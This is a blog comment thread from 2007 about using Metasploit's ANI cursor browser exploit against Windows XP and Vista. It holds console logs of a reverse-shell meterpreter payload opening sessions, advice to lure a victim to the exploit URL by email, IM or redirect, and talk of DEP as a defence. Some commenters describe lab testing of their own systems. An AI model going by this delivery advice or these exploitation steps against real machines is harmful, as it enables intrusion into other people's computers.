Comments on Metasploit: Exploiting the ANI vulnerability on Vista

Hi All!>> exploit[] Started reverse handler[] Us...

2007-08-07T17:48:00.000-07:00

Hi All!

>> exploit

[*] Started reverse handler
[*] Using URL: http://127.0.0.1:8080/rdDlcXdsSyGT8
[*] Server started.
[*] Exploit running as background job.

Right... But when I open the site http://127.0.0.1:8080/rdDlcXdsSyGT8 it shows this:

cfGcGjSpnXllY74XY99NLpDvD2AW0dxvyLwOye76cis955nRySFvGAodD
ou7L3IFbiGv3u80ThISHjjTvxx3EFWVxSyhQWxaEcXi0Ao2nPHr35q2yrFC2JU5NUCOrGuJrGf93o5WVc779HLfY6caI7TuyUNzYYk5T3nAnmkoth
fREL0UMmEzKw8Rx2
qt5Y4a9MHLNczGhmgCxMwwRa7UXJYJgqV3qi0UCiZ4G7oEgmlcpvuis5t156CMkSpSlpDDFrBRCV171JaUciT
EvOn5WP6tdT7UZ1AuhDDCBe7oY4b2MA8WGdjf8nvQI7F
f90UDdlU4PnqY2mE9faMTubdScViHF9WD9FRlA43kkjcWjYU4KirZxnF0Z1R73oi3tgEouERP7uVLVqRu6wm2z0HfDvybCNOA
TsPabJulmDU9EakIIDvg0IllkFhr
qyXunebqGViQppZqheGSFxCzeh4c74ExeigRWR1G847JBOu5zpAm6w3AANvXgQVZEd5Kk6yhbZ7h7nUc
PBvZeLgK0uZjdGYrArQA15Ij7x4SwhG3Z5ZeN9ZJriKSXmqkbLgifwDS93BdPtK9LVHQaVT2WwvHnN888VGpbSqAVQyYJGoK9z1O
FfE52I4DRjyxnCwF2MzDGdThJQOEYqaZjKlG6n7kmjO2cSOSxHCa7uXbEikL6aMBIxXYyoXRRYf5TupGMK

and don't open the download of the .ani archive...

Anyone know why? :(

Thanks.

nice job HD, but why is reverse_tcp not working un...

2007-04-21T16:48:00.000-07:00

nice job HD, but why is reverse_tcp not working unlike bind_tcp?

>> exploit[] Started reverse handler[] Using URL...

2007-04-11T01:28:00.000-07:00

>> exploit
[*] Started reverse handler
[*] Using URL: http://192.168.1.103:8080/rdDlyGT8
[*] Server started.
[*] Exploit running as background job.
[*] Transmitting intermediate stager for over-sized stage...(89 bytes)
[*] Sending stage (2834 bytes)
[*] Sleeping before handling stage...
[*] Uploading DLL (73739 bytes)...
[*] Upload completed.
[*] Meterpreter session 1 opened (192.168.1.103:4444 -> 192.168.1.103:4050)

>> sessions -i 1
[*] Starting interaction with 1...

(running)

>> help
? Help menu
channel Displays information about active channels
close Closes a channel
exit Terminate the meterpreter session
help Help menu
interact Interacts with a channel
irb Drop into irb scripting mode
migrate Migrate the server to another process
quit Terminate the meterpreter session
read Reads data from a channel
run Executes a meterpreter script
use Load a one or more meterpreter extensions
write Writes data to a channel
>>
>> use stdapi
Loading extension stdapi...
[-] failure: No such file or directory - C:/Program Files/Metasploit/Framework3/framework/data/meterpreter/ext_server_-m.dll ./script/../config/../config/../../../lib/rex/post/meterpreter/client_core.rb:86:in `initialize' ./script/../config/../config/../../../lib/rex/post/meterpreter/client_core.rb:86:in `open' ./script/../config/../config/../../../lib/rex/post/meterpreter/client_core.rb:86:in `load_library' ./script/../config/../config/../../../lib/rex/post/meterpreter/client_core.rb:156:in `use' ./script/../config/../config/../../../lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb:249:in `cmd_use' ./script/../config/../config/../../../lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb:237:in `each' ./script/../config/../config/../../../lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb:237:in `cmd_use' C:/Program Files/Metasploit/Framework3/framework/lib/rex/ui/text/dispatcher_shell.rb:230:in `send' C:/Program Files/Metasploit/Framework3/framework/lib/rex/ui/text/dispatcher_shell.rb:230:in `run_command' ./script/../config/../config/../../../lib/rex/post/meterpreter/ui/console.rb:94:in `run_command' C:/Program Files/Metasploit/Framework3/framework/lib/rex/ui/text/dispatcher_shell.rb:196:in `run_single' C:/Program Files/Metasploit/Framework3/framework/lib/rex/ui/text/dispatcher_shell.rb:191:in `each' C:/Program Files/Metasploit/Framework3/framework/lib/rex/ui/text/dispatcher_shell.rb:191:in `run_single' ./script/../config/../config/../../../lib/rex/post/meterpreter/ui/console.rb:60:in `interact' C:/Program Files/Metasploit/Framework3/framework/lib/rex/ui/text/shell.rb:121:in `call' C:/Program Files/Metasploit/Framework3/framework/lib/rex/ui/text/shell.rb:121:in `run' ./script/../config/../config/../../../lib/rex/post/meterpreter/ui/console.rb:58:in `interact' ./script/../config/../config/../../../lib/msf/base/sessions/meterpreter.rb:170:in `_interact' C:/Program Files/Metasploit/Framework3/framework/lib/rex/ui/interactive.rb:48:in `interact' ./script/../config/../config/../../../lib/msf/ui/console/command_dispatcher/core.rb:671:in `cmd_sessions' C:/Program Files/Metasploit/Framework3/framework/lib/rex/ui/text/dispatcher_shell.rb:230:in `send' C:/Program Files/Metasploit/Framework3/framework/lib/rex/ui/text/dispatcher_shell.rb:230:in `run_command' C:/Program Files/Metasploit/Framework3/framework/lib/rex/ui/text/dispatcher_shell.rb:196:in `run_single' C:/Program Files/Metasploit/Framework3/framework/lib/rex/ui/text/dispatcher_shell.rb:191:in `each' C:/Program Files/Metasploit/Framework3/framework/lib/rex/ui/text/dispatcher_shell.rb:191:in `run_single' C:/Program Files/Metasploit/Framework3/framework/lib/rex/ui/text/shell.rb:125:in `run' ./script/../config/../config/../../../lib/msf/ui/web/console.rb:63:in `initialize' ./script/../config/../config/../../../lib/msf/ui/web/console.rb:63:in `new' ./script/../config/../config/../../../lib/msf/ui/web/console.rb:63:in `initialize' ./script/../config/../config/../../../lib/msf/ui/web/driver.rb:62:in `new' ./script/../config/../config/../../../lib/msf/ui/web/driver.rb:62:in `create_console' ./script/../config/../app/controllers/exploits_controller.rb:56:in `config' C:/Program Files/Metasploit/Framework3/lib/ruby/gems/1.8/gems/actionpack-1.13.2/lib/action_controller/base.rb:1095:in `send' C:/Program Files/Metasploit/Framework3/lib/ruby/gems/1.8/gems/actionpack-1.13.2/lib/action_controller/base.rb:1095:in `perform_action_without_filters' C:/Program Files/Metasploit/Framework3/lib/ruby/gems/1.8/gems/actionpack-1.13.2/lib/action_controller/filters.rb:632:in `call_filter' C:/Program Files/Metasploit/Framework3/lib/ruby/gems/1.8/gems/actionpack-1.13.2/lib/action_controller/filters.rb:619:in `perform_action_without_benchmark' C:/Program Files/Metasploit/Framework3/lib/ruby/gems/1.8/gems/actionpack-1.13.2/lib/action_controller/benchmarking.rb:66:in `perform_action_without_rescue' C:/Program Files/Metasploit/Framework3/lib/ruby/1.8/benchmark.rb:293:in `measure' C:/Program Files/Metasploit/Framework3/lib/ruby/gems/1.8/gems/actionpack-1.13.2/lib/action_controller/benchmarking.rb:66:in `perform_action_without_rescue' C:/Program Files/Metasploit/Framework3/lib/ruby/gems/1.8/gems/actionpack-1.13.2/lib/action_controller/rescue.rb:83:in `perform_action' C:/Program Files/Metasploit/Framework3/lib/ruby/gems/1.8/gems/actionpack-1.13.2/lib/action_controller/base.rb:430:in `send' C:/Program Files/Metasploit/Framework3/lib/ruby/gems/1.8/gems/actionpack-1.13.2/lib/action_controller/base.rb:430:in `process_without_filters' C:/Program Files/Metasploit/Framework3/lib/ruby/gems/1.8/gems/actionpack-1.13.2/lib/action_controller/filters.rb:624:in `process_without_session_management_support' C:/Program Files/Metasploit/Framework3/lib/ruby/gems/1.8/gems/actionpack-1.13.2/lib/action_controller/session_management.rb:114:in `process' C:/Program Files/Metasploit/Framework3/lib/ruby/gems/1.8/gems/actionpack-1.13.2/lib/action_controller/base.rb:330:in `process' C:/Program Files/Metasploit/Framework3/lib/ruby/gems/1.8/gems/rails-1.2.2/lib/dispatcher.rb:41:in `dispatch' C:/Program Files/Metasploit/Framework3/lib/ruby/gems/1.8/gems/rails-1.2.2/lib/webrick_server.rb:113:in `handle_dispatch' C:/Program Files/Metasploit/Framework3/lib/ruby/gems/1.8/gems/rails-1.2.2/lib/webrick_server.rb:79:in `service' C:/Program Files/Metasploit/Framework3/lib/ruby/1.8/webrick/httpserver.rb:104:in `service' C:/Program Files/Metasploit/Framework3/lib/ruby/1.8/webrick/httpserver.rb:65:in `run' C:/Program Files/Metasploit/Framework3/lib/ruby/1.8/webrick/server.rb:173:in `start_thread' C:/Program Files/Metasploit/Framework3/lib/ruby/1.8/webrick/server.rb:162:in `start' C:/Program Files/Metasploit/Framework3/lib/ruby/1.8/webrick/server.rb:162:in `start_thread' C:/Program Files/Metasploit/Framework3/lib/ruby/1.8/webrick/server.rb:95:in `start' C:/Program Files/Metasploit/Framework3/lib/ruby/1.8/webrick/server.rb:92:in `each' C:/Program Files/Metasploit/Framework3/lib/ruby/1.8/webrick/server.rb:92:in `start' C:/Program Files/Metasploit/Framework3/lib/ruby/1.8/webrick/server.rb:23:in `start' C:/Program Files/Metasploit/Framework3/lib/ruby/1.8/webrick/server.rb:82:in `start' C:/Program Files/Metasploit/Framework3/lib/ruby/gems/1.8/gems/rails-1.2.2/lib/webrick_server.rb:63:in `dispatch' C:/Program Files/Metasploit/Framework3/lib/ruby/gems/1.8/gems/rails-1.2.2/lib/commands/servers/webrick.rb:59 C:/Program Files/Metasploit/Framework3/lib/ruby/site_ruby/1.8/rubygems/custom_require.rb:27:in `gem_original_require' C:/Program Files/Metasploit/Framework3/lib/ruby/site_ruby/1.8/rubygems/custom_require.rb:27:in `require' C:/Program Files/Metasploit/Framework3/lib/ruby/gems/1.8/gems/activesupport-1.4.1/lib/active_support/dependencies.rb:495:in `require' C:/Program Files/Metasploit/Framework3/lib/ruby/gems/1.8/gems/activesupport-1.4.1/lib/active_support/dependencies.rb:342:in `new_constants_in' C:/Program Files/Metasploit/Framework3/lib/ruby/gems/1.8/gems/activesupport-1.4.1/lib/active_support/dependencies.rb:495:in `require' C:/Program Files/Metasploit/Framework3/lib/ruby/gems/1.8/gems/rails-1.2.2/lib/commands/server.rb:39 C:/Program Files/Metasploit/Framework3/lib/ruby/site_ruby/1.8/rubygems/custom_require.rb:27:in `gem_original_require' C:/Program Files/Metasploit/Framework3/lib/ruby/site_ruby/1.8/rubygems/custom_require.rb:27:in `require' ./script/server:3 C:/Program Files/Metasploit/Framework3/framework/msfweb:82:in `load' C:/Program Files/Metasploit/Framework3/framework/msfweb:82

Everything starts out fine. Once I issue the "use stdapi" command, it doesn't load successfully. I get a failure notice. I'm using the windows/browser/ani_imageload_chunksize sploit. Payload = windows/meterpreter/reverse_tcp.

I'm just wondering why whenever I run the command "use stdapi" to start the library, I get a failure notice. Anyone know why I'm getting this? I get the same notice on BT2 and Windows.

Sorry for the long post. I'm just really stumped with this.

Thanks for your answer I didn't made clear that I ...

2007-04-07T01:38:00.000-07:00

Thanks for your answer I didn't made clear that I was checking my own system to see how vulnerable it was. So I took the link and open it with Firefox and IE but nothing happens.

Also I was playing with a poc that said it defeated the DEP and it worked, but it was written to call the system func and call whatever command we wanted with it.

I tried to make it run shellcode but after creating my file and accesing it via the explorer window a screen appears saying tha DEP detected some code trying to be run from memory.

So I think that is why the ani metasploit module didn't worked.

Regards,
Circuit

Once the exploit starts the listening web server, ...

2007-04-07T00:25:00.000-07:00

Once the exploit starts the listening web server, its *your* job to get a vulnerable client to connect to that web server and request the URL. Make sure you metasploit system is accessible to the victim and send them a link through whatever method is easiest (redirect from a web site, email, IM, etc).

I tried the ANI HTTP exploit to see if my machine ...

2007-04-06T22:59:00.000-07:00

I tried the ANI HTTP exploit to see if my machine is vulnerable but it just stays in the following screen forever without changing anything.

msf exploit(ani_loadimage_chunksize) > exploit
[*] Started reverse handler
[*] Using URL: http://my_ip:8080/foo
[*] Server started.
[*] Exploit running as background job.
msf exploit(ani_loadimage_chunksize) >

Im testing it in a WinXP Pro Version 2002 with SP2 installed.
I also tried with netcat listening on the remote port I configured the exploit for but it just stays listening there forever.

Maybe I have the DEP enabled and thats why it isnt working. How can I know if I have DEP enabled?

Regards,
Circuit

Hello All,Thanks for the response HD...I realized ...

2007-04-05T07:00:00.000-07:00

Hello All,

Thanks for the response HD...I realized after, that I missed adding a word which probably would have changed your response. Instead of saying "the command prompt stays the same & does display the following)" I meant to say " & does NOT display the following". In anycase, we did end up getting this to work, as it seemed that after doing a few updates in MSF 3 that some later iterations of the exploit did work. I just wanted to say Thanks for the great work that you do...the ease as to how we can test this, so we can proactively work towards a solution, is a great asset to the industry.

Regards
Rex69

That "session 1 opened" message means that the exp...

2007-04-03T08:40:00.000-07:00

That "session 1 opened" message means that the exploit worked and a session was created. Use the "sessions -l" command to list active sessions and "sessions -i ID" to interact with them. Congratulations, it worked :-)

Hi there...We've been trying to use the ANI HTTP e...

2007-04-03T07:54:00.000-07:00

Hi there...We've been trying to use the ANI HTTP exploit in our test lab at work, but seem to be having an issue with getting this to work. Right now when we lauch the exploit, we get to this point:

msf exploit(ani_loadimage_chunksize) > exploit
[*] Started reverse handler
[*] Using URL: http://10.4.4.1:8080/foo
[*] Server started.
[*] Exploit running as background job.
msf exploit(ani_loadimage_chunksize) >

We then try to connect our victim PC to the HTTP link provided, but nothing seems to be happening on the attacker PC (i.e. the command prompt stays the same & does display the following)

[*] Transmitting intermediate stager for over-sized stage...(89 bytes)
[*] Sending stage (2834 bytes)
[*] Sleeping before handling stage...
[*] Uploading DLL (73739 bytes)...
[*] Upload completed.
[*] Meterpreter session 1 opened (10.4.4.1:4444 -> 10.4.4.2:49310)

We've tried many ways to get this work, but we may be missing something...So if anyone is able to shed a bit more light on this that would be greatly appreciated.

Regards
Rex69

The default Hardware DEP setting is "OptIn" which ...

2007-04-02T10:21:00.000-07:00

The default Hardware DEP setting is "OptIn" which only protects Windows Explorer.exe. If your system supports hardware DEP (NX or XD cpu bit enabled), it will prevent exploitation inside explorer but not inside IE or the other vectors. Changing it to AlwaysOn or OptOut will protect against the other vectors.

Keep in mind that DEP can be bypassed, but not extremely trivially. Good luck.

If DEP is enabled for all processes, I believe tha...

2007-04-02T08:18:00.000-07:00

If DEP is enabled for all processes, I believe that the exploit is blocked in its current form. You can grab the new ANI exploits by using the 'Online Update' feature in the Windows version of the framework and 'svn update' in the Unix version.

Where I can download this exploit for metasploit?

2007-04-02T08:09:00.000-07:00

Where I can download this exploit for metasploit?

Does DEP work against this exploit or doesn't it? ...

2007-04-02T05:37:00.000-07:00

Does DEP work against this exploit or doesn't it? You write that DEP is disabled for Explorer but what if the user actually has enabled DEP?

Cool !! :) At the time I release the exploit, I ha...

2007-04-02T00:46:00.000-07:00

Cool !! :)

At the time I release the exploit, I have no Vista test base, so I did not look for the way to make code execution on Vista. However, after I read your posts, I think heap spraying technique that I use in XP SP2 version "may be" also used to exploit this vulnerability on Vista too - does not confirmed, but I will test it.

Comments on Metasploit: Exploiting the ANI vulnerability on Vista

Hi All!>> exploit[*] Started reverse handler[*] Us...

nice job HD, but why is reverse_tcp not working un...

>> exploit[*] Started reverse handler[*] Using URL...

Thanks for your answer I didn't made clear that I ...

Once the exploit starts the listening web server, ...

I tried the ANI HTTP exploit to see if my machine ...

Hello All,Thanks for the response HD...I realized ...

That "session 1 opened" message means that the exp...

Hi there...We've been trying to use the ANI HTTP e...

The default Hardware DEP setting is "OptIn" which ...

If DEP is enabled for all processes, I believe tha...

Where I can download this exploit for metasploit?

Does DEP work against this exploit or doesn't it? ...

Cool !! :) At the time I release the exploit, I ha...

Hi All!>> exploit[] Started reverse handler[] Us...

>> exploit[] Started reverse handler[] Using URL...